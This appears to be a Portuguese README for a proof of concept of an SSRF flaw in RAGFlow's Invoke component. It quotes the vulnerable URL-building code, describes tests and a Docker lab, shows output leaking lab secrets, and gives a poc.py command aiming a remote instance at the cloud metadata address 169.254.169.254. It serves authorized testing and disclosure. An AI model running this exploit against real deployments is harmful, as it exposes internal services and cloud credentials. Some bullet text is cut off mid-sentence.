
Prova de conceito para CVE-2026-75898, um SSRF no componente Invoke do RAGFlow. Demonstra a vulnerabilidade com o código-fonte não modificado, inclui testes E2E, comparação de correção e reprodução baseada em Docker para testes de segurança autorizados.
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Corrigido em | v0.26.3 |
| Commits da correção | c4fe68e, e16d1a0 |
| Referências de issues | infiniflow/ragflow#15425, #18280 |
| Aviso | VulnCheck |
Em agent/component/invoke.py da v0.26.2, o componente Invoke constrói a
URL da requisição a partir de modelos de variáveis fornecidos pelo usuário e
não realiza nenhuma validação do host resolvido:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
Essa URL chega a requests.get/post/put em _send_request(). Como
allow_redirects permanece com o padrão do requests (True), um atacante pode:
url do Invoke para um endereço interno (127.0.0.1, 169.254.169.254,
faixas RFC1918, não existe fixação de host resolvido), ouA correção adiciona assert_url_is_safe() + pin_dns() e força
allow_redirects=False.
Diferente de reimplementações "que parecem iguais", este repositório executa o código-fonte v0.26.2 não modificado do componente vulnerável:
target/invoke_v0.26.2.py — agent/component/invoke.py byte a byte
da tag v0.26.2.e2e/test_genuine_ssrf.py — carrega esse arquivo real por trás de stubs de
importação finos (o stub substitui apenas imports não relacionados: ComponentBase, o
decorador timeout e HtmlParser — nenhuma lógica do caminho SSRF é tocada) e
prova que o componente alcança um serviço interno diretamente e por meio de uma cadeia
de redirecionamentos.e2e/test_fix_guard.py — aplica a proteção upstream (assert_url_is_safe,
allow_redirects=False) no mesmo arquivo e mostra que as requisições são
bloqueadas.Validado de três maneiras independentes:
e2e/test_genuine_ssrf.py executa
o código-fonte não modificado target/invoke_v0.26.2.py contra servidores de laboratório
loopback — SSRF confirmado.e2e/test_fix_guard.py aplica a proteção upstream ao
mesmo arquivo — bloqueado.v0.26.2 (infinity+mysql+minio+valkey)
via docker compose; um nó Invoke em um fluxo de agente real buscou
INTERNAL-DB-SECRET:dbpassword=SuperSecret123 de uma porta de host interna.
Consulte LAB_DEMO.md para as evidências verbatim.cd e2e
python3 test_genuine_ssrf.py # deve imprimir SSRF confirmed (vulnerável)
python3 test_fix_guard.py # deve imprimir BLOCKED (comportamento corrigido)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
Requer um token de sessão autenticado (o Invoke é executado dentro de um fluxo de agente).
python3 poc.py --poc # E2E local
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke do agente a uma lista de permissões.Corrigido no RAGFlow v0.26.3 (ago 2026). Este PoC foi reconstruído de forma independente a partir do aviso público e dos commits da correção para testes de segurança autorizados e fins educacionais apenas. Não afiliado à InfiniFlow.